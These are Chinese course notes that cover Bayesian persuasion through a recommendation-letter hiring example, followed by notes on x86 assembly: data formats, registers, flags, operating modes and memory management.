企业知道导师的推荐信是诚实的,因此将接收所有推荐信中写优秀的学生,拒绝所有推荐信中写一般的学生:
- 此时导师期望的同学雇出,故在每个学生上的期望效用为0.25;
- 企业接收所有优秀同学,故在每个学生上的期望效用为0.25。
第二个例子是导师总是推荐学生为优秀,即
- \(\pi(e | \text{excellent}) = 1, \pi(a | \text{excellent}) = 0;\)
-
\(\pi(e | \text{average}) = 1, \pi(a | \text{average}) = 0.\)
-
因此此时企业看到的全是好的推荐信,因此只能保持先验概率去判断学生的好坏:
- 由于每个学生是优秀类型的概率只有 0.25,因此如果企业雇用任意一个学生,其期望效用为 \(0.25 \times 1 - 0.75 \times 0.5 = -0.125\),因此企业不会雇用任何一个学生;
- 此时导师和企业的期望效用均为 0。
最优情况(导师效用最大化)为
最优情况为导师在推荐信中对优秀学生诚实,而对一般学生有一定的美化,即信号机制为:
- \(\pi(e | \text{excellent}) = 1, \pi(a | \text{excellent}) = 0;\)
- \(\pi(e | \text{average}) = \frac{2}{3}, \pi(a | \text{average}) = \frac{1}{3}.\)
贝叶斯公式
通过贝叶斯公式可以计算出企业看到推荐信后对学生的后验概率分布\(\mu_A(B)\),即看到类型\(A\)的推荐信后,认为学生是类型\(B\)的概率。
也就是\(\mu(B | A)\)
所以
还可以计算出企业看到好的推荐信和一般的推荐信的概率
在这种情况下,当企业看到好的推荐信时,对学生的后验分布更新为\(1/3\)的概率是好学生,此时它的期望效用为
与不雇佣期望效用一样,但是企业在这种情况下会选择雇佣,假设在信号接收者策略无差异的情况下,信号接收者会选择有利于信 号发送者的决策
当企业看到一般的推荐信时,对学生的后验分布更新为\(1\)的概率是不好学生,此时它的期望效用为0,选择不雇佣
综合来说,企业的期望效用是0;
对于导师而言,由于企业采取的策略是雇佣所有好的推荐信,不雇佣所有的一般推荐信,因此导师的期望效用为所有的好学生和\(2/3\)的一般学生的期望效用之和,即
或者还有一种计算方法,只要给出了好的推荐信,效用就是1,所以
贝叶斯劝说¶
一般化的贝叶斯劝说模型¶
从导师写推荐信的例子中可以提炼出一般的贝叶斯劝说(Bayesian persuasion )模型:
-
两个参与人: 信号发送者(导师)和信号接收者(企业);
-
他们对自然的真实状态 \(\omega \in \Omega\)(一个学生优秀/一般)有相同的先验分布 \(\mu_0 \in \text{int}(\Delta(\Omega))\),信号发送者知道状态的实现值(即具体每个学生是优秀还是一般的),但信号接收者不知道:
- \(\Delta(\Omega)\) 表示 \(\Omega\) 上的概率分布;
-
\(\text{int}\) 含义是内点,即先验分布保证每个状态的概率都是正的;
-
假定双方都是理性的,即追求效用最大化的,并且都是按照贝叶斯公式更新信念的;
-
发送者的效用为 \(v(a,\omega)\),接收者的效用为 \(u(a,\omega)\):
- 导师的效用为 \(v(\text{hiring}, \omega) = 1, v(\text{not hiring}, \omega) = 0\)(与 \(\omega\) 无关);
- 企业的效用为 \(u(\text{hiring}, \text{average}) = -0.5\) 等。
博弈的行动顺序¶
博弈的行动顺序如下(动态博弈需要说明顺序):
-
发送者公开(承诺(commit))信号机制 \((S, \pi(s | \omega)), \forall s \in S, \omega \in \Omega\):
- \(S\) 称为信号实现空间,例如前面的例子中 \(S = \{e, a\}\);
- 故信号机制包含信号实现空间 \(S\) 及其在所有现实状态下的条件分布;
- 于是接收者可以利用贝叶斯公式计算出后验概率 \(\mu_s(\omega)\);
-
自然以分布 \(\mu_0\) 选择 \(\omega \in \Omega\)(抽出一个学生是优秀/一般的);
-
类型为 \(\omega\) 时发送者以概率 \(\pi(s | \omega)\) 发送信号 \(s \in S\);
-
接收者收到信号 \(s\) 并选择一个行动 \(a \in A\)(企业雇用/不雇用学生):
-
\(a\) 的选择应当最大化接收者的效用,即挑选一个行动使得在这个后验概率分布下期望效用最大,例如企业在看到优秀的推荐信后,选择雇佣学生
\[ a = \arg \max_{a \in A} \mathbb{E}_{\mu_s}[u(a, w)] \]
如果有多个最大化效用的选择,假设其选择最大化发送者效用的行动(企业雇用和不雇用无差异时,选择雇用学生)。
- 发送者获得效用 \(v(a, \omega)\),接收者获得效用 \(u(a, \omega)\)。
Info
注意贝叶斯劝说的第一步就是信号发送者公开承诺信号机制: - 回忆导师写推荐信的例子,这样的情况可以发生在结果可验证的情况; - 例如企业可以在雇用后看出学生的能力,或者消费者在购买后能够判断产品的真实价值; - 因此贝叶斯劝说在这些场景下尤为重要;
此外,贝叶斯劝说模型中,信号发送者优先行动,接收者在看到信号发 送者的行动后行动,故最优化问题实际是一个双层优化问题;
此时信号发送者和信号接收者的策略相对于对方的策略都是最优的,并且信号接收者的信念通过贝叶斯公式进行了更新,这一均衡被称为完美贝叶斯均衡(perfect Bayesian equilibrium)。
贝叶斯劝说主要希望研究以下三个问题
-
发送者是否总是可以通过设计信号机制来影响接收者的行为,从而提升 自己的效用?如果不是,什么情况下可以?
-
发送者如何设计信号机制以达到最大化自己的效用?最大化效用时信号 以及接收者的行为的特点是什么样的?
-
接收者是否愿意接受发送者的信号机制?如果不是,什么情况下可以?
贝叶斯可行¶
为了解决前两个问题,首先要定义贝叶斯可行(Bayesian plausible)的概念,然后将设计最优信号机制的问题转化为更容易解决的问题。
后验概率分布的性质¶
给定信号机制 \((S, \pi(s | \omega))\),任一信号实现 \(s\) 都会导致一个后验概率分布 \(\mu_s \in \Delta(\Omega)\),即对任意的 \(s \in S, \omega \in \Omega\):
由于每个 \(s\) 都会导致一个后验概率分布,所以所有的 \(s\) 将导致 \(|S|\) 个后验概率分布,并且所有的后验概率分布本质上都是 \(\Omega\) 上的分布。根据全概率公式,每个 \(s\) 被发出的概率为:
所有 \(s\) 将导致一个后验概率分布的分布 \(\tau \in \Delta(\Delta(\Omega))\),其中概率分布支撑为 \(\text{Supp}(\tau) = \{\mu_s\}_{s \in S}\),支撑中每一个后验概率 \(\mu \in \Delta(\Omega)\) 的概率为:
如果每个后验概率都不同,则支撑中每一个后验概率 \(\mu \in \Delta(\Omega)\) 的概率为:
Eaxmple
例如,回忆导师写推荐信的例子,在最优机制下,信号机制导致的两个后验概率分布分别为:
和
这两个后验概率分布不相同,因此 \(\text{Supp}(\tau) = \{\mu_e, \mu_a\}\),二者概率为:
在这里,后验分布指的是知道信号后,对学生类型的判断(\(\mu_e, \mu_a\)是学生类型的分布)。后验分布的分布指的是接收到不同信号的分布(\(\tau\)是\(\mu_e, \mu_a\)的分布,即满足某一分布的概率是什么)。
贝叶斯可行的定义¶
基于上述记号,可以给出贝叶斯可行的定义:
Definition
称 \(\tau\) 由信号导致,如果存在信号机制 \((S, \pi(s | \omega))\) 对应的后验概率分布的分布为 \(\tau\)。称一个后验概率分布的分布 \(\tau\) 是贝叶斯可行的,如果
即后验概率的期望等于先验概率。
Example
这里不同的后验概率分布可以求和的原因在于,本质上不同的后验概率分布都是 \(\Omega\) 上的概率分布。例如可以检查导师写推荐信的例子是否满足贝叶斯可行性:
原先验概率分布为\(\mu_0 = (\mu_0(\text{excellent}), \mu_0(\text{average})) = (0.25, 0.75)\),后验概率分布为\(\mu_e = (1/3, 2/3)\)和\(\mu_a = (0, 1)\),后验概率分布的分布为\(\tau = (\tau(\mu_e), \tau(\mu_a)) = (0.75, 0.25)\)。
因此有
因此,导师写推荐信的例子中的信号机制是贝叶斯可行的。
下面这个定理给出了信号机制导致和贝叶斯可行之间的联系
Theorem
一个后验概率分布的分布 \(\tau \in \Delta(\Delta(\Omega))\) 是贝叶斯可行的当且仅当存在一个信号机制 \((S, \pi(s | \omega))\) 使得 \(\tau\) 是由该信号机制导致的。
即对该后验分布的分布求期望分布,该期望分布等于先验分布。
证明
首先证明信号机制推出贝叶斯可行性
接下来,由贝叶斯可行性,我们可以构造一个信号机制 \((S, \pi(s | \omega))\)
由
可以得到
接下来验证对于所有的\(s\)求和等于1即可
最后一步是由于\(\sum_{\text{Supp}(\tau)} \mu\tau(\mu) = \mu_0\)。这是贝叶斯可行的定义。
Summary
因此,一个信号机制等价于一个贝叶斯可行的后验概率分布的分布;
-
进而可以导致接收者行动的分布,因为一个后验概率分布就对应接收者的一个最优行动;
-
显然,只要接收者行动分布一定,那么发送者的效用也是确定的;
- 因此是否存在一个信号机制使得发送者达到效用 \(v^*\),只需要考虑是否存在一个贝叶斯可行的后验概率分布的分布 \(\tau\) 使得发送者效用达到 \(v^*\);
- 因此设计最优信号机制的问题可以转化为设计一个贝叶斯可行的后验概率分布的分布 \(\tau\)
最优机制问题¶
问题转化¶
问题转化后,我们需要解决的问题是设计一个贝叶斯可行的后验概率分布的分布 \(\tau\) 使得发送者的效用最大化。首先将问题形式化:记后验概率为 \(\mu\) 时,接收者的最优行动为 \(\hat{a}(\mu)\),则发送者的期望效用为:
此处求期望是考虑到一般的情况下 \(v\) 的表达式为 \(v(a, \omega)\),因此需要针对 \(\omega\) 求期望。而在导师写推荐信的例子中,因为 \(v\) 与 \(\omega\) 无关,故是可以省略的。基于此,可以定义最优信号机制问题:
Tip
看起来这个形式化的式子比较复杂,但实际上还是很好理解的
首先\(\hat{v}(\mu)\)一项表示对于一个后验概率(知道信号后对学生类型的判断),接收者的最优行动(雇用/不雇用),发送者在这一情况下的期望效用
\(\max_{\tau} \mathbb{E}_{\tau} \hat{v}(\mu)\)表示我们希望在所有可能的后验概率分布的分布中,找到使得发送者的期望效用最大的那一种。
\(\text{s.t. } \sum_{\text{Supp}(\tau)} \mu\tau(\mu) = \mu_0\)表示我们希望后验概率分布的分布是贝叶斯可行的。
显示原理¶
显示原理
存在一个信号机制使得发送者的效用达到 \(v^*\) 当且仅当存在一个直接(straightforward)信号机制使得发送者的效用达到 \(v^*\)。其中直接信号机制是指满足 \(S \subseteq A\) 且接收者的最优行动等于信号实现的信号。
导师推荐信中的直接信号机制
- 放在导师写推荐信的例子中,直接信号机制指信号实现空间 \(S \subseteq \{\text{excellent}, \text{average}\}\) 且当接收者看到优秀的推荐信的信号时雇用,看到一般的推荐信的信号时不雇用的信号;
- 事实上此前给出的最优信号机制的确满足直接信号机制的定义;
- 总而言之,显示原理表明,最优信号机制设计所需的信号实现数目(后验概率数目)是不超过接收者行动数目的;
基于显示原理,原始的最优信号机制设计问题可以简化为:
其中 \(\text{Supp}(\tau)\) 的大小不超过 \(|A|\)(接收者行动集合的大小)。
凹包络¶
凹包络
函数 \(\hat{v}\) 的凹包络(concave closure)\(V\) 定义为:
其中 \(\text{co}(\hat{v})\) 表示函数 \(\hat{v}\) 的图像的凹包。
直观而言,一个函数的凹包络就是大于等于这个函数的最小凹函数。
关键性质¶
函数 \(\hat{v}\) 的凹包络是求解最优信号机制问题的关键:
-
存在性:注意到如果 \((\mu_0, z) \in \text{co}(\hat{v})\),则必然存在后验概率分布的分布 \(\tau\) 使得 \(\mathbb{E}_\mu = \mu_0\) 且 \(\mathbb{E}_\tau \hat{v}(\mu) = z\)(因为期望也是凸组合);
-
最优性:\(V(\mu_0)\) 则是所有这样的 \(z\) 中的最大值;
因此 \(V(\mu_0)\) 就是最优信号机制问题的解。总而言之我们可以得到下面的推论,从而回答了之前提出的所有问题:
主要推论
最优信号机制问题的解存在,最大值为 \(V(\mu_0)\)。进一步地,发送者设计信号能提升自己的效用当且仅当 \(V(\mu_0) > \hat{v}(\mu_0)\)。
只要企业的后验概率中好学生的概率占比大于\(1/3\),则企业一定会雇佣,因为此时雇佣效用为
比不雇佣好
这个凹包络前半部分的解析式为\(V(\mu) = 3\mu\),
原例子中\(V(0.25) = 0.75\),故导师最佳效用为\(0.75\)
并且此时两个后验分布设为两个端点,即在一个后验分布中认为所有学生都是一般,在另一个后验分布中认为\(1/3\)的学生是优秀,\(2/3\)的学生是普通
设后验分布的分布为\(\tau = (\tau(\mu_1), \tau(\mu_2)) = (x, 1-x)\),则
解得\(x = 0.25\),即\(\mu_1\)的概率为\(0.25\),\(\mu_2\)的概率为\(0.75\)
进一步的,可以利用
计算出对应的信号机制
这与之前的结果一致。所以\(\mu_1\)对应一般的推荐信,\(\mu_2\)对应优秀的推荐信,这个例子也说明信号的名称不重要。
对接收者的影响¶
最后解决第三个问题:信号接收者是否愿意接受发送者的信号机制?
命题
在任意信号机制 \(S, \pi(s | \omega)\) 下,接收者的效用都不会低于其在没有信号的情况下的效用。
证明过程¶
任取信号机制 \(S, \pi(s | \omega)\),当接收者看到 \(s \in S\) 时,其效用为:
因此在信号机制 \(S, \pi(s | \omega)\) 下,其期望效用为:
汇编与接口
汇编与接口¶
约 40 个字 预计阅读时间不到 1 分钟
从零开始的汇编与接口期末补天笔记,近乎千页的PPT,会赢吗。
Introduction to the Microprocessor¶
约 846 个字 3 张图片 预计阅读时间 3 分钟
对应考纲模块: 数据格式、微处理器结构基础
MASM Data types¶
A. IEEE 754 浮点数标准¶
格式结构(32位 float):
- Sign (S): 1 bit (0=正,1=负)
- Exponent (E): 8 bits(Bias = 127)
- Fraction/Mantissa (F): 23 bits(隐含一个前导 1)
公式:
\(V = (-1)^S \times (1.F) \times 2^{(E - 127)}\)
特殊值:
| 数值 | Exp | Frac | 说明 |
|---|---|---|---|
| 0 | 0 | 0 | 零 |
| Infinity (\(\infty\)) | 全 1(255) | 0 | 正/负无穷大 |
| NaN | 全 1(255) | ≠ 0 | 非数(Not a Number) |
Subnormal Numbers
当exponent为0且fraction不为0时,表示subnormal numbers。此时exponent的值为-126。
Underflow
下溢(Underflow)是指结果太小,小到无法用正常数表示的时候。 主要有两种处理方式:
– 突然下溢(Abrupt underflow)直接将小到无法表示的数设为零,这会导致精度突然损失。 – 渐进下溢(Gradual underflow)通过使用非规格化数(subnormal numbers),让极小的数以更柔和的方式丢失精度,从而减缓精度损失。
非规格化数可以在各种数值计算场景(如数值积分、复数除法)中有效消除下溢带来的影响,因此下溢不再令人担忧。
B. 内存数据存放:小端字节序(Little-endian)¶
- 考纲对应: 数据在内存中的存放规律:小端字节序
定义:
低字节(LSB)存放在低地址,高字节(MSB)存放在高地址。Intel x86 系列全部使用 Little-endian。
给出一个 32 位数 12345678H,问在内存中如何排列?
假设起始地址为 1000H:
| 地址 | 内容 |
|---|---|
| 1000H | 78 (LSB) |
| 1001H | 56 |
| 1002H | 34 |
| 1003H | 12 (MSB) |
Note
需要注意的是,若是存放ASCII码,例如ABCD,则是先来的先放,因为此时没有most significant bit和least significant bit之分。
| 地址 | 内容 |
|---|---|
| 1000H | 65 |
| 1001H | 66 |
| 1002H | 67 |
| 1003H | 68 |
C. 整数的表示(Signed Integers & 2's Complement)¶
- 考纲对应: 进制转换、补码
补码(2's Complement)计算:
- 正数: 同原码
- 负数: 取反(1's complement)+ 1
- 例:8-bit 下 \(-128\) 的表示是
1000 0000(特殊情况,没有对应的正数可以直接取反得到它)
范围: 8-bit Signed: \(-128\) 到 \(+127\)
D. BCD 编码(Binary Coded Decimal)¶
-
考纲对应: 编码格式:BCD
-
Packed BCD(压缩 BCD): 一个字节存两个十进制位
例:\(12_{10}\) → 0001 0010 (1 Byte) -
Unpacked BCD(非压缩 BCD): 一个字节存一个十进制位(高4位通常为0)
例:\(12_{10}\) →0000 0001,0000 0010(2 Bytes)
处理器发展史与概念¶
虽然是历史背景,但主要为了引出**模式切换**和**寻址能力**的演变。
A. 关键处理器节点¶
- 8086
- 16-bit 寄存器
- 20-bit 地址线 → 1MB 寻址空间(\(2^{20}\))
- 引入 Segmentation (分段):Segment:Offset
- 80286
- 引入 Protected Mode(保护模式)
- 24-bit 地址线 → 16MB 物理内存
- 80386
- 第一款 32-bit 处理器
- 引入 Paging(分页)管理
- 4GB 寻址空间
- Pentium
- Superscalar(超标量):两条流水线 (u, v)
- 分支预测(Branch Prediction)
- Core i7 / Intel 64
- 64-bit 模式,向后兼容 32-bit (Compatibility mode)
B. 性能技术术语(Understanding Terminology)¶
这些词汇可能出现在单选题或名词解释中。
- Pipelining(流水线):将指令执行分为多个阶段并行处理(386/486)
- Cache(缓存):486 引入 L1 Cache
- SIMD(单指令多数据):MMX, SSE, AVX 指令集
- Out-of-order Execution(乱序执行):提高流水线利用率
- Hyper-Threading(超线程):一个物理核模拟两个逻辑核
The Microprocessor and Its Architecture¶
约 11424 个字 27 行代码 47 张图片 预计阅读时间 40 分钟
对应考纲模块: 微处理器结构、寻址方式、实模式/保护模式/64位模式、多级分页细节
编程模型 (Programming Model)¶
8086 到 Core2 期间,寄存器分为“程序可见(program visible)”与“程序不可见(program invisible)”两类。
- 程序可见寄存器(program visible)
- 在编程时要用到,指令中可直接指定和操作。例如通用寄存器、段寄存器等,程序员写汇编时经常显式使用。
- 程序不可见寄存器(program invisible)
- 程序中无法直接访问,也不能用指令操作,应用程序编程时不可寻址。主要用于 CPU 内部管理(如段描述符的缓存等),提升执行效率。
A. GPRS¶
通用寄存器
| Register | Name | 常见用途说明(Commonly Used As) |
|---|---|---|
| A | Accumulator | 返回值寄存器,特别用于算术操作结果的累加。 |
| B | Base index | 数组或链表等结构的起始地址。 |
| C | Counter | 计数器,常用于循环实现,如 for(int i=0; i<9; i++) 里的i。 |
| D | Data | 累加器的扩展空间。(如IMUL 32位模式下配合EDX+EAX处理64位运算) |
| BP | Base Pointer | 指向当前栈帧的基地址(函数参数结束与局部变量起始之间的位置)。 |
| SP | Stack Pointer | 指向上一次PUSH到内存的末端字节。 |
| SI | Source Index | 数据流的起始地址,常用于字符串等不定长数据处理。 |
| DI | Destination Index | 数据流的结束地址,常用于切片或拷贝等操作的目标末端。 |
- 64位 (x64):
RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP -
新增的8个通用寄存器:
R8~R15 -
分级访问规则:
RAX(64-bit) →EAX(低32-bit) →AX(低16-bit) →AH(高8-bit) /AL(低8-bit) 在64位模式下,写入32位寄存器(如MOV EAX, 1)会自动将高32位清零(RAX 的高32位变0)。
Info
使用EAX进行ADD计算会比使用其它寄存器在编码上更短,有更高的code density ,更加cache-friendly
详细说明¶
-
RBX:可被访问为
RBX、EBX、BX、BH、BL。BX(基址寄存器,Base Index)常在所有版本微处理器中,用作内存地址的偏移量。
-
RCX:可作为
RCX、ECX、CX、CH、CL访问。- (计数寄存器 Count)是通用的计数器,同时也是很多指令操作次数或数据移动量的默认寄存器。
-
RDX:可作为
RDX、EDX、DX、DH、DL访问。- (数据寄存器 Data)常用于存放乘法指令结果的一部分,或除法指令的被除数高位。
- 例如 16位乘法,乘积的高位和低位分别存于
DX和AX。
-
RBP:可作为
RBP、EBP、BP访问。- (基址指针 Base Pointer)用于指向当前栈帧(stack frame)的基地址,常用于局部变量和参数的寻址。
-
RSI:可作为
RSI、ESI、SI访问。- (源变址 Source Index)在字符串操作指令中用作源数据地址,同时也是通用寄存器。
-
RDI:可作为
RDI、EDI、DI访问。- (目标变址 Destination Index)在字符串操作指令中用作目标数据地址。
Warning
BPL、SPL、SIL、DIL:这四个 8位低字节寄存器只在64位模式下可直接寻址。
- R8 ~ R15:仅在启用64位扩展(如 Pentium 4、Core2 及以后架构)时可用。
- 访问这些扩展通用寄存器的大部分指令需用 REX 前缀。
Summary
总的来说,64位模式下,通用寄存器分布如下:
- 16个 8位低字节寄存器:
AL、BL、CL、DL、SIL、DIL、BPL、SPL、R8B~R15B - 4个 8位高字节寄存器:
AH、BH、CH、DH(仅当未用 REX 前缀时可寻址) - 16个 16位寄存器:
AX、BX、CX、DX、DI、SI、BP、SP、R8W~R15W - 16个 32位寄存器:
EAX、EBX、ECX、EDX、EDI、ESI、EBP、ESP、R8D~R15D - 16个 64位寄存器:
RAX、RBX、RCX、RDX、RDI、RSI、RBP、RSP、R8~R15
Partial Modify
修改32位的部分寄存器会将高32位清零,修改16位和8位部分寄存器则不会,这是因为ah和al是可以被单独寻址的,而rax-eax的部分则不行。(笔者这里有个疑问,eax-ax的部分也不能单独寻址,为什么不清零)
Partial Register Stall
混合使用不同大小的寄存器(例如 EAX 和 AX)会导致CPU流水线卡顿。
现代 CPU 为了运行得更快,会使用一种叫乱序执行的技术。
如果 CPU 看到两条指令虽然用了同一个寄存器名字(比如 EAX),但实际上它们之间没有数据关联(你做你的,我做我的),CPU 会在内部把这个物理寄存器“重命名”为两个不同的临时空间。
这样,这两段代码就可以同时运行,不需要排队。
MOV EAX, [mem1]
IMUL EAX, 6 ; 第一组任务:使用 EAX
...
MOV EAX, [mem3] ; 第二组任务:重新给 EAX 赋值
ADD EAX, 2 ; 使用新的 EAX
CPU 看到第一组和第二组都用了 EAX,而且第二组开始是一个全新的 MOV(写入)。CPU 很聪明,它知道:“哦,这仅仅是名字冲突,实际上第二组不需要第一组的结果。”
CPU 对 EAX 进行重命名。第一组和第二组任务可以同时执行。
MOV EAX, [mem1]
IMUL EAX, 6 ; 第一组任务:使用 32位的 EAX
...
MOV AX, [mem3] ; 第二组任务:只写入 16位的 AX (EAX的低16位)
ADD AX, 2
第一组任务正在修改整个 EAX。第二组任务试图修改 AX(EAX 的一部分)。
Intel/AMD/VIA 的某些架构无法对“部分寄存器”(Partial Register,即 AX)进行重命名。
CPU 会感到困惑或为了保险起见,它认为:“你在修改 EAX 的一部分,那一会儿我读取 EAX 的时候,还需要保留高16位的数据吗?这两者之间可能有某种复杂的关系。”
- 结果:假依赖(False Dependence)。 CPU 无法并行处理。第二组指令必须强行等待(Stall)第一组指令完全做完,才能开始执行
MOV AX。这就大大降低了效率。
如果代码中先写了大寄存器(如 32位的 EAX),紧接着又写了它的子寄存器(如 16位的 AX 或 8位的 AL/AH),就会触发这个硬件限制。
- 尽量避免使用高8位寄存器(如 AH, BH, CH, DH)或混合尺寸操作,直接统一使用完整的 32位(或64位)寄存器操作,这样可以确保 CPU 能够通过寄存器重命名技术最大化并行效率。
Sepcial purpose registers¶
包括 RIP、RSP 和 RFLAGS。
- 段寄存器包括 CS、DS、ES、SS、FS 和 GS。
- RIP(指令指针)指向内存中下一条将要执行的指令。它用于标识某个代码段内的指令地址。
- RSP(堆栈指针)指向名为栈(stack)的内存区域。 通过该指针进行栈的数据存取。
B. 标志寄存器 (EFLAGS / RFLAGS)¶
- 除了基础的状态标志,需掌握控制标志和系统标志:
| 标志位 | 名称 | 作用说明 |
|---|---|---|
| CF(0) | Carry | 无符号运算进位/借位 |
| PF(2) | Parity | 低8位 1的个数为偶数时为1 |
| AF(4) | Auxiliary | Bit 3 向 Bit 4 的进位(BCD用) |
| ZF(6) | Zero | 运算结果为零时置1 |
| SF(7) | Sign | 运算结果为负(最高位为1)时置1 |
| TF(8) | Trap | 置1进入单步调试 |
| IF(9) | Interrupt | 1=允许响应可屏蔽中断 (INTR),CLI清零,STI置位 |
| DF(10) | Direction | 串操作方向(0=增量,1=减量) |
| OF(11) | Overflow | 有符号溢出(如+127加1变-128) |
| IOPL | I/O Privilege | 特权级(0-3),CPL≤IOPL时允许执行I/O指令 |
| NT(14) | Nested Task | 嵌套任务标志(中断返回 IRET 用) |
| VM(17) | Virtual 8086 | 置1进入虚拟8086模式 |
| AC(18) | Alignment | 对齐检查(Ring3下非对齐访问异常) |
BCD 码计算通过AF位来辅助计算
对于Example1,8+5=13(1101),没有产生进位,计算完检查发现低四位大于9,加6调整(1 0011),对于example2,在计算时就产生了进位(1 0001),此时AF已经被置为1,所以需要加6调整 ,变为(1 0111)
总的来说,在进行 BCD 加法后的修正时,判断是否需要“加 6 修正”只要满足以下两个条件中的任意一个,就需要对低四位加 6:
-
低四位的结果大于 9(即 A、B、C、D、E、F)。
-
AF = 1(即发生了半进位)。
段寄存器¶
-
CS(Code Segment,代码段): 用于存放处理器正在执行的指令代码(即程序和过程)。
-
DS(Data Segment,数据段): 主要用于存储大部分程序数据。一般通过偏移地址或其它寄存器(存有偏移地址)访问数据。
-
ES(Extra Segment,附加段): 作为部分指令(如字符串操作)用的额外数据段,常用于存放目的数据。
-
SS(Stack Segment,堆栈段): 定义了栈区的内存范围。 栈的具体位置由 SS(段寄存器)和 SP/RSP(栈指针寄存器)共同决定。
BP(基址指针)寄存器也可辅助在堆栈段内寻址数据。 -
FS 和 GS(补充段寄存器): 从 80386 处理器开始引入,为程序提供两个额外的数据段。主要在操作系统和多线程环境下,用于特殊目的(如线程局部存储等,Windows 系统常用)。
64 位模式下的段寄存器变化¶
- 64 位模式下,仅保留 CS、FS 和 GS 三个段寄存器用于分段寻址。
- 软件可将 FS 和 GS 的“基址寄存器”作为地址计算基址(典型场景见线程局部变量)。
- 其它段寄存器(DS、ES、SS)在 64 位模式下默认基址为 0,也就是说,绝大多数情况下不起分段寻址的作用。
Modes of Operation¶
Long Mode(长模式)¶
Long mode(长模式),英特尔称为 IA-32e("e" 代表 "extensions"),是在传统保护模式基础上的扩展。
- Long mode 包含两种子模式:64位模式 和 兼容模式(compatibility mode)
- 64位模式:支持所有 64 位架构的新特性和寄存器扩展。
- 兼容模式:用于向下兼容现有 16 位和 32 位应用,使其可以在 64 位操作系统下运行。
- Long mode 不再支持传统的实模式(real mode)和虚拟 8086 模式(virtual-8086 mode)。
Compatibility Mode(兼容模式)¶
- 兼容模式是长模式的第二种子模式,允许 64 位操作系统运行原有的 16 位、32 位 x86 应用程序。
- 这些传统程序可以在兼容模式下无需重新编译即可运行。
- 在兼容模式下运行的应用,会采用 32 位或 16 位寻址,只能访问前 4GB 虚拟地址空间。
- 兼容模式下,经典 x86 指令前缀能够在 16 位和 32 位地址、操作数大小之间切换。
Legacy Mode(传统模式)¶
- 传统模式包括三种子模式:
- 保护模式(Protected mode):支持 16 位和 32 位程序的内存分段,可选分页及特权检查。运行于保护模式的程序可以访问最多 4GB 的内存空间。
- 虚拟 8086 模式(Virtual-8086 mode):允许 16 位实模式程序作为受保护模式管理的任务运行。采用简单的内存分段,可选分页和有限的保护检查。程序最多可访问 1MB 的内存空间。
- 实模式(Real mode):支持基于寄存器的 16 位内存分段。不支持分页或保护检查。运行于实模式的程序最多可访问 1MB 的内存空间。
System Management Mode(系统管理模式,SMM)¶
- 系统管理模式(SMM)是一种专为系统控制任务而设计的操作模式,这些任务通常对常规系统软件是透明的。
- 电源管理是 SMM 的常见应用场景之一。
- SMM 主要由平台固件和特定的底层设备驱动程序使用。
x86和x64和x86-64
| 术语 | 实际位数 | 别名/备注 | 内存限制 | 能运行谁的软件? |
|---|---|---|---|---|
| x86 | 32 位 | IA-32, i386 | ~4 GB | 只能运行 32 位软件 |
| x86-64 | 64 位 | AMD64, Intel 64 | 海量 (TB级) | 既能运行 64 位,也能运行 32 位 |
| x64 | 64 位 | (同上,是上者的简称) | 海量 (TB级) | (同上) |
模式转换
-
起点:实模式 (Real Mode)
-
Reset:当在电脑上按下电源键或重启时,Reset 信号会将 CPU 强制重置到最底部的 Real Mode。
-
状态:此时 CPU 处于 16 位模式,就像 1978 年的 8086 芯片一样。它只能访问 1MB 内存,没有任何保护机制。这是 BIOS/UEFI 固件开始运行的地方。
-
一旦分页(Paging)开启,CPU 就正式进入了Long Mode。这是现代 64 位 Windows 10/11 或 Linux 运行的环境。
Long Mode 内部,有两个子状态:
- 64-bit Mode:运行原生 64 位程序。
- Compatibility Mode:运行 32 位老程序。
- 如何切换:依靠
CS.L(Code Segment Long bit)。 CS.L = 1:CPU 变身纯 64 位。CS.L = 0:CPU 模拟 32 位环境。- 这个切换非常快,是针对每个应用程序动态切换的。可以一边开着 64 位的 Photoshop,一边运行 32 位的微信,CPU 就在这两个圆圈间疯狂横跳。
Virtual 8086 Mode
- 在 Protected Mode 旁边。
- 开关:
EFLAGS.VM=1。 - 用途:这是一种在 32 位保护模式下模拟 16 位实模式的技术。它允许在 Windows 98/XP 的命令提示符(CMD)里运行古老的 DOS 游戏。
System Management Mode
- 入口:
SMI#(System Management Interrupt)。这是一个最高优先级的硬件中断。 - 出口:
RSM(Resume) 指令。 - 这是 CPU 的“后台模式”。当 CPU 进入这里时,操作系统完全不知情(被冻结)。通常用于硬件厂商的底层控制当 CPU 温度过高时,BIOS 强行降频。
总的来说电脑启动过程就是:
Reset 到 Real Mode。开启 PE 进 Protected Mode。开启 PG/LME 进 Long Mode。 然后在long mode里,根据运行的软件,灵活地在 64 位和兼容模式间切换。
Memory Management¶
Memory Management Requirements¶
-
1. 重定位(Relocation)
- 程序员在编写程序时,并不知道其在执行时会被放置在内存的哪个位置。
- 程序在运行过程中,可能被换入磁盘,再返回主内存的不同位置(即发生重定位)。
- 因此,程序中涉及内存访问的引用,必须在执行期间被动态转换为实际的物理内存地址。
- 程序不能直接访问物理地址,而是通过逻辑地址(Logical Address)间接访问物理地址。
-
2. 保护(Protection)
- 各进程不应在未获许可的情况下访问其他进程的内存空间。
- 由于在编译期无法检测所有的绝对地址,内存保护只能在运行时进行检查。
- 内存保护必须由处理器(硬件)来实现,而不是仅靠操作系统(软件)完成。
-
3. 共享(Sharing)
- 系统应该允许多个进程访问同一部分内存,实现内存共享。
- 让每个进程共享同一份程序代码,可以有效节省空间,而不用为每个进程都分配独立的副本。
Segmentation & Paging¶
Segmentation vs Paging: Key Differences
-
Size
- 分段(Segmentation):段的大小不固定,由用户或编译器决定(逻辑上更贴合程序结构)。
- 分页(Paging):页面和页框都是固定大小(如4KB),由硬件设定。
-
Fragmentation
- 分段:容易产生外部碎片(external fragmentation)。
-
分页:不存在外部碎片,但可能产生内部碎片(internal fragmentation)。
-
Table & Lookup
- 分段:段表(Segment Table)存储段号和段属性,查找速度较快。
- 分页:页表(Page Table)将虚拟页映射到物理帧,由于页数量众多,查找较慢,但可借助TLB(快表)加速。
分段更符合程序的逻辑结构(如代码段、数据段),而分页更利于内存管理和减少碎片。
Legacy-Mode Memory Management¶
Real Mode (实模式) 这是最早期的 8086 模式,没有内存保护。
-
输入:
- Selector (16位):段寄存器的值。
- EA (16位):偏移量 (Effective Address)。
-
Segmentation (分段):采用经典的计算公式:
Selector * 16 + Offset。- Paging (分页):无。
- 在实模式下,线性地址 = 物理地址。程序能直接控制物理内存,非常不安全。
Protected Mode (保护模式)
-
输入:
